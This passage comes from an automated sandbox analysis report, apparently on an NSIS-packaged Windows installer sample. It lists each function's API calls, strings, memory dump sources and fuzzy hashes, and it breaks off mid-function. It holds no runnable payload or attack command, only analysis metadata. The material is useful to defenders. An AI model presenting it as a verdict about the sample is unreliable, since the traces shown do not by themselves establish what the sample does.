SHGetPathFromIDListA.SHELL32(?,007A16A0), ref: 00405D22
CoTaskMemFree.OLE32(?), ref: 00405D2D
lstrcatA.KERNEL32(007A16A0,\Microsoft\Internet Explorer\Quick Launch), ref: 00405D4F
lstrlenA.KERNEL32(007A16A0,?,0079E4D8,00000000,00404EBC,0079E4D8,?), ref: 00405DA1

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00405D49
., xrefs: 00405C60
Software\Microsoft\Windows\CurrentVersion, xrefs: 00405C94

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskVersionWindowslstrcatlstrlen
String ID: .$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 900638850-3562769014
Opcode ID: eaa8d679cdde7ec1b846b7d20550e8a9090a2d3d3f7a51f3022e8c133c3e6eb0
Instruction ID: 050506686e60d08a76f5c318217997e75ce046d50ca6fca7f220fc6f31a13d77
Opcode Fuzzy Hash: eaa8d679cdde7ec1b846b7d20550e8a9090a2d3d3f7a51f3022e8c133c3e6eb0
Instruction Fuzzy Hash: 5E61F471A04A05AAEF115F24CC88BBF3BA9EF52314F14813BE941BA2D1D27C5981DF5E

Uniqueness

Uniqueness Score: -1.00%

Function 004030EF Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 76
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 00403110
SetErrorMode.KERNEL32(00008001), ref: 0040311B
OleInitialize.OLE32(00000000), ref: 00403122

Part of subcall function 00405EA2: GetModuleHandleA.KERNEL32(?,?,?,00403134,00000008), ref: 00405EB4
Part of subcall function 00405EA2: LoadLibraryA.KERNEL32(?,?,?,00403134,00000008), ref: 00405EBF
Part of subcall function 00405EA2: GetProcAddress.KERNEL32(00000000,?), ref: 00405ED0

SHGetFileInfoA.SHELL32(0079DCB8,00000000,?,00000160,00000000,00000008), ref: 0040314A

Part of subcall function 00405B77: lstrcpynA.KERNEL32(?,?,00000400,0040315F,007A1F00,NSIS Error), ref: 00405B84

GetCommandLineA.KERNEL32(007A1F00,NSIS Error), ref: 0040315F
GetModuleHandleA.KERNEL32(00000000,007A8000,00000000), ref: 00403172
CharNextA.USER32(00000000,007A8000,00000020), ref: 0040319D
GetTempPathA.KERNEL32(00000400,007A9400,00000000,00000020), ref: 00403295

Strings

NSIS Error, xrefs: 00403150
, xrefs: 004031BA

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: HandleModule$AddressCharCommandErrorFileInfoInitializeLibraryLineLoadModeNextPathProcTemplstrcpyn
String ID: $NSIS Error
API String ID: 3130561831-3882934480
Opcode ID: 783531bee77386b6c5f7799fe16efcc6e6d2b48535e64221b1f7caff5671a898
Instruction ID: 124ce2dc19c04b2723b3ee2bfd57496e8178ec0f66411d0265dc8e2868322ed2
Opcode Fuzzy Hash: 783531bee77386b6c5f7799fe16efcc6e6d2b48535e64221b1f7caff5671a898
Instruction Fuzzy Hash: B121B7B09083456FE7106F749D09B2B7EACEB8A305F00447EF681B62D2C77C59058B6B

Uniqueness

Uniqueness Score: -1.00%

Function 00402E84 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 119
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402ECE
GetTickCount.KERNEL32 ref: 00402F55
MulDiv.KERNEL32(7FFFFFFF,00000064,00008000), ref: 00402F82
wsprintfA.USER32 ref: 00402F92
WriteFile.KERNEL32(?,?,?,7FFFFFFF,00000000), ref: 00402FC0

Strings

... %d%%, xrefs: 00402F8C
@0, xrefs: 00402F3D

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CountTick$FileWritewsprintf
String ID: ... %d%%$@0
API String ID: 4209647438-86420950
Opcode ID: 999cfab09825ec686d516b9a40fe547eeb8bd05469905d0b0f7633e1135354fd
Instruction ID: 64f2759147e90b76427b42c30fbf34f55c7ad126d9beac386cd9b4cb986d71c7
Opcode Fuzzy Hash: 999cfab09825ec686d516b9a40fe547eeb8bd05469905d0b0f7633e1135354fd
Instruction Fuzzy Hash: A4417E7190020AEBCF10DFA9DA48A9E7BB8FB04355F14413BF901F62D4D7789A50DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00403EEE Relevance: 12.1, APIs: 8, Instructions: 61COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EB), ref: 00403F0B
GetSysColor.USER32(00000000), ref: 00403F27
SetTextColor.GDI32(?,00000000), ref: 00403F33
SetBkMode.GDI32(?,?), ref: 00403F3F
GetSysColor.USER32(?), ref: 00403F52
SetBkColor.GDI32(?,?), ref: 00403F62
DeleteObject.GDI32(?), ref: 00403F7C
CreateBrushIndirect.GDI32(?), ref: 00403F86

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 059a6408e4ff7a7a286042baf0ba0b6777dcdd2840b1e709c5bb58eb991f2f1d
Instruction ID: 43f1f9eadd2e023582460ec461a07703dc87d5103ca70cdaf59bc9c3c4c10c95
Opcode Fuzzy Hash: 059a6408e4ff7a7a286042baf0ba0b6777dcdd2840b1e709c5bb58eb991f2f1d
Instruction Fuzzy Hash: B1219971904705AFC7219F68DD08B5BBFF8AF01715F04852AF995E22D1C378E944CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00402CC1 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 138memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00000020), ref: 00402DE4
SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,000000FF,00000000,00000000,?,?), ref: 00402E4A

Part of subcall function 00402BCF: DestroyWindow.USER32(?,00000000,00402DAF,00000001), ref: 00402BE2

Strings

Inst, xrefs: 00402D18
Null, xrefs: 00402D2A
soft, xrefs: 00402D21
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error, xrefs: 00402E0B

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: AllocDestroyFileGlobalPointerWindow
String ID: Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author to obtain a new copy.More information at:http://nsis.sf.net/NSIS_Error$Null$soft
API String ID: 1580554587-639894862
Opcode ID: 8c6f0ba6a9b99bef2e223335ce12acd5a5288f385b5620c3a51d65f503cbdf54
Instruction ID: 3f971f39210b7e6cbde4b42bc9c0850d6f2177758484559a6030f38e5231e302
Opcode Fuzzy Hash: 8c6f0ba6a9b99bef2e223335ce12acd5a5288f385b5620c3a51d65f503cbdf54
Instruction Fuzzy Hash: 8841A4319402159BDF209F65DA89BAA7BA4EF44354F14403BEA04B62D1C7BC9E818BAD

Uniqueness

Uniqueness Score: -1.00%

Function 0040268D Relevance: 10.6, APIs: 7, Instructions: 89memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 004026E1
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,000000F0), ref: 004026FD
GlobalFree.KERNEL32(?), ref: 00402736
WriteFile.KERNEL32(FFFFFD66,00000000,?,FFFFFD66,?,?,?,?,000000F0), ref: 00402748
GlobalFree.KERNEL32(00000000), ref: 0040274F
CloseHandle.KERNEL32(FFFFFD66,?,?,000000F0), ref: 00402767
DeleteFileA.KERNEL32(?,00000000,40000000,00000002,00000000,00000000,?,?,000000F0), ref: 0040277B

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID:
API String ID: 3294113728-0
Opcode ID: 24339d99f87c6d6ba69fc8207295b24e7ba760fe95e7986aeaf2365a98965083
Instruction ID: 94283e328d35fee59e2da4f8035aa06736476ebf885dd15e4876c46effbb42d0
Opcode Fuzzy Hash: 24339d99f87c6d6ba69fc8207295b24e7ba760fe95e7986aeaf2365a98965083
Instruction Fuzzy Hash: E4319171C00128BBCF216FA5DD89DAE7E79EF05364F20423AF520762E1C7791D408BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00404E84 Relevance: 10.6, APIs: 7, Instructions: 73stringwindowCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0079E4D8), ref: 00404EBD
lstrlenA.KERNEL32(?,0079E4D8), ref: 00404ECD
lstrcatA.KERNEL32(0079E4D8,?,?,0079E4D8), ref: 00404EE0
SetWindowTextA.USER32(0079E4D8,0079E4D8), ref: 00404EF2
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F18
SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F32
SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F40

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: MessageSend$lstrlen$TextWindowlstrcat
String ID:
API String ID: 2531174081-0
Opcode ID: 6d23eeeeadc8c975830744756af2e0c6f2d7ce04b7bca1b24e7dcfc844a15c14
Instruction ID: 0879e44440130bf100c4abc817e106b172b9c081b4a19821dc72f8a86b472426
Opcode Fuzzy Hash: 6d23eeeeadc8c975830744756af2e0c6f2d7ce04b7bca1b24e7dcfc844a15c14
Instruction Fuzzy Hash: E3216071900118BFDB019FA5CD849DEBFB9EB45354F14807AF904B6291C6785E40CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040474F Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,0000110A,00000009,00000000), ref: 0040476A
GetMessagePos.USER32 ref: 00404772
ScreenToClient.USER32(?,?), ref: 0040478C
SendMessageA.USER32(?,00001111,00000000,?), ref: 0040479E
SendMessageA.USER32(?,0000110C,00000000,?), ref: 004047C4

Strings

f, xrefs: 004047A0

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: 0143edfa65d7345696b674457d3757b6620fab040ae94d4e1f917914a8284de5
Instruction ID: 6bd71cb3d479751b3b69d93d67c88433f783f46e4abb255f82c81c082e4bdd88
Opcode Fuzzy Hash: 0143edfa65d7345696b674457d3757b6620fab040ae94d4e1f917914a8284de5
Instruction Fuzzy Hash: C5014075D00218BADB01DBA4DC45FFEBBBCAB55711F10412BBB10B71C0C7B865018BA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402B4C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402B67
MulDiv.KERNEL32(?,00000064,?), ref: 00402B92
wsprintfA.USER32 ref: 00402BA2
SetWindowTextA.USER32(?,?), ref: 00402BB2
SetDlgItemTextA.USER32(?,00000406,?), ref: 00402BC4

Strings

verifying installer: %d%%, xrefs: 00402B9C

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: b2596dc42376c4ed7c7376505dbeede42f27e887c2baf36158ddba7532441070
Instruction ID: 338c4dd4cc7a1f9a3f94f7e8e9aba01fa07f8a2d27e46d6da828e47d9d426f75
Opcode Fuzzy Hash: b2596dc42376c4ed7c7376505dbeede42f27e887c2baf36158ddba7532441070
Instruction Fuzzy Hash: 32014F70540208ABEF249F61DD0AEAE37B9AB00304F00803AFA06A92D1D7B9A9518B59

Uniqueness

Uniqueness Score: -1.00%

Function 00405DE2 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,*?|<>/":,00000000,007A8000,007A9400,007A9400,00000000,004030C7,007A9400,75EE3410,0040329C), ref: 00405E3A
CharNextA.USER32(?,?,?,00000000), ref: 00405E47
CharNextA.USER32(?,007A8000,007A9400,007A9400,00000000,004030C7,007A9400,75EE3410,0040329C), ref: 00405E4C
CharPrevA.USER32(?,?,007A9400,007A9400,00000000,004030C7,007A9400,75EE3410,0040329C), ref: 00405E5C

Strings

*?|<>/":, xrefs: 00405E2A

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: d928069b7c755bad4a389a515b6181ca2d01bb1fc6f8e262afaf253ea7149d91
Instruction ID: a557d67b3617775de9dfc0e1e9fcc5985f61690f1b3cb59da45a53f3e3fbe4e1
Opcode Fuzzy Hash: d928069b7c755bad4a389a515b6181ca2d01bb1fc6f8e262afaf253ea7149d91
Instruction Fuzzy Hash: 1B11E771804B9129EB3217248C44B77AF98CB9B7A0F18047BE5C5723C2C67C5E828EED

Uniqueness

Uniqueness Score: -1.00%

Function 0040173F Relevance: 7.6, APIs: 5, Instructions: 147stringtimeCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(00000000,00000000,00409B98,007A8800,00000000,00000000,00000031), ref: 0040177E
CompareFileTime.KERNEL32(-00000014,?,00409B98,00409B98,00000000,00000000,00409B98,007A8800,00000000,00000000,00000031), ref: 004017A8

Part of subcall function 00405B77: lstrcpynA.KERNEL32(?,?,00000400,0040315F,007A1F00,NSIS Error), ref: 00405B84

Part of subcall function 00404E84: lstrlenA.KERNEL32(0079E4D8), ref: 00404EBD
Part of subcall function 00404E84: lstrlenA.KERNEL32(?,0079E4D8), ref: 00404ECD
Part of subcall function 00404E84: lstrcatA.KERNEL32(0079E4D8,?,?,0079E4D8), ref: 00404EE0
Part of subcall function 00404E84: SetWindowTextA.USER32(0079E4D8,0079E4D8), ref: 00404EF2
Part of subcall function 00404E84: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F18
Part of subcall function 00404E84: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F32
Part of subcall function 00404E84: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F40

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID:
API String ID: 1941528284-0
Opcode ID: 643f2cdd29aac1b2aea48babbf9826ec4044719e9cd48a75cc6692d3d0005c94
Instruction ID: df8d039fdd937f1c478db27dfce12e75bce6feb5164cf919340bcacede668491
Opcode Fuzzy Hash: 643f2cdd29aac1b2aea48babbf9826ec4044719e9cd48a75cc6692d3d0005c94
Instruction Fuzzy Hash: F241B771900615BACB10BBA5CC46DAF7979DF42368F20423BF525F10E2DA3C5A419A6D

Uniqueness

Uniqueness Score: -1.00%

Function 00402A47 Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,?,?), ref: 00402A68
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402AA4
RegCloseKey.ADVAPI32(?), ref: 00402AAD
RegCloseKey.ADVAPI32(?), ref: 00402AD2
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402AF0

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 8d132b12fb4f7e3c0c57d0df483c4ead623641b1822a26b8d9db536e3ea124b7
Instruction ID: 1ad4598d9375e79b5c4158f8ae6fede31b6a0d7771ae0489b8e1e2a10aea7df0
Opcode Fuzzy Hash: 8d132b12fb4f7e3c0c57d0df483c4ead623641b1822a26b8d9db536e3ea124b7
Instruction Fuzzy Hash: 72116D31600108BFDF219F90DE48DAA3B6DEB55348B108036FA06A00A0D7B89E519F69

Uniqueness

Uniqueness Score: -1.00%

Function 004056BD Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,00000000,?,?,004015C2,00000000,000000F0), ref: 004056CB
CharNextA.USER32(00000000,?,?,004015C2,00000000,000000F0), ref: 004056D0
CharNextA.USER32(00000000,?,?,004015C2,00000000,000000F0), ref: 004056E4

Strings

\, xrefs: 004056DD
:, xrefs: 004056D8

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CharNext
String ID: :$\
API String ID: 3213498283-1166558509
Opcode ID: 3f639457ae052313cff0aaedcd272a5626d50e6f9abcac8e261aee29ca5e702c
Instruction ID: d8a7812ab63b142c46357df6d68c050b156b7c96d32b59c6f1bc793f3f64125f
Opcode Fuzzy Hash: 3f639457ae052313cff0aaedcd272a5626d50e6f9abcac8e261aee29ca5e702c
Instruction Fuzzy Hash: 86F0C251905F91AAFB3252640C44B7B9BCCDB55315F041467E641672C1C2BD4C405F9A

Uniqueness

Uniqueness Score: -1.00%

Function 00401CCC Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 00401CD0
GetClientRect.USER32(00000000,?), ref: 00401CDD
LoadImageA.USER32(?,00000000,?,?,?,?), ref: 00401CFE
SendMessageA.USER32(00000000,00000172,?,00000000), ref: 00401D0C
DeleteObject.GDI32(00000000), ref: 00401D1B

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 8718ef474664ef02fb2026f6f5ca2eb5ae4bcb4a29c0f9619d4f19e816921c64
Instruction ID: 7c3280a60d84a3596340f685d6ada4bc9ba3972ea03b1155ec5ca5a37b5200ea
Opcode Fuzzy Hash: 8718ef474664ef02fb2026f6f5ca2eb5ae4bcb4a29c0f9619d4f19e816921c64
Instruction Fuzzy Hash: 01F04FB2905104AFD701EBA4EE88CAFB7BCEB44301B004476F601F2091C638AD018B79

Uniqueness

Uniqueness Score: -1.00%

Function 00401D26 Relevance: 7.5, APIs: 5, Instructions: 38COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401D29
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401D36
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D45
ReleaseDC.USER32(?,00000000), ref: 00401D56
CreateFontIndirectA.GDI32(0040AFA0), ref: 00401DA1

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: d50846cf01dc4d21c027121a250a91c6e779b9c02126d39bd440f749e4007b39
Instruction ID: 4f22f7d967d41569425e1cc72a43e48c322de2a0bc5ea7779ffcdbaac11077e3
Opcode Fuzzy Hash: d50846cf01dc4d21c027121a250a91c6e779b9c02126d39bd440f749e4007b39
Instruction Fuzzy Hash: 760162B1958341AFE7015BB0AE1ABAF7F74A725705F100439F145BA2E2C67C14158B2B

Uniqueness

Uniqueness Score: -1.00%

Function 0040466D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 78stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(0079ECF8,0079ECF8,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,0040458D,000000DF,0000040F,00000400,00000000), ref: 004046FB
wsprintfA.USER32 ref: 00404703
SetDlgItemTextA.USER32(?,0079ECF8), ref: 00404716

Strings

%u.%u%s%s, xrefs: 004046E5

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s
API String ID: 3540041739-3551169577
Opcode ID: de6b24ac2de06aa5a6c00b34d189335991a4621482d9b42b83f82e23e4af78ce
Instruction ID: 808364b1aeea65b13bf83ed040d55ad759ad6ec36480b824a7a4bb04bc91d3c3
Opcode Fuzzy Hash: de6b24ac2de06aa5a6c00b34d189335991a4621482d9b42b83f82e23e4af78ce
Instruction Fuzzy Hash: 8B1108736002243BDB0065699C06EEF329DDBC3375F14023BFA29F61D1E9799C5182E9

Uniqueness

Uniqueness Score: -1.00%

Function 00401BB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C18
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C30

Strings

!, xrefs: 00401BEC

Memory Dump Source

Source File: 00000088.00000002.134606570157.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000088.00000002.134606494894.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606647727.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606727098.0000000000409000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000088.00000002.134606848435.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 3698ce71db31f8b469170a2b9811606ddb50db903b10dbb8916321b005f99d26
Instruction ID: 12ae1f52ecf524c97be6b8063d2fdb139482407b097923a357ceac7fbdf5fe65
Opcode Fuzzy Hash: 3698ce71db31f8b469170a2b9811606ddb50db903b10dbb8916321b005f99d26
Instruction Fuzzy Hash: 43219271A44248AFEF01AFB4CD8AAAE7FB5EF44348F14443EF501B61E1D6B95940DB18

Uniqueness

Uniqueness Score: -1.00%

Function 00401F68 Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000001,000000F0), ref: 00401F93

Part of subcall function 00404E84: lstrlenA.KERNEL32(0079E4D8), ref: 00404EBD
Part of subcall function 00404E84: lstrlenA.KERNEL32(?,0079E4D8), ref: 00404ECD
Part of subcall function 00404E84: lstrcatA.KERNEL32(0079E4D8,?,?,0079E4D8), ref: 00404EE0
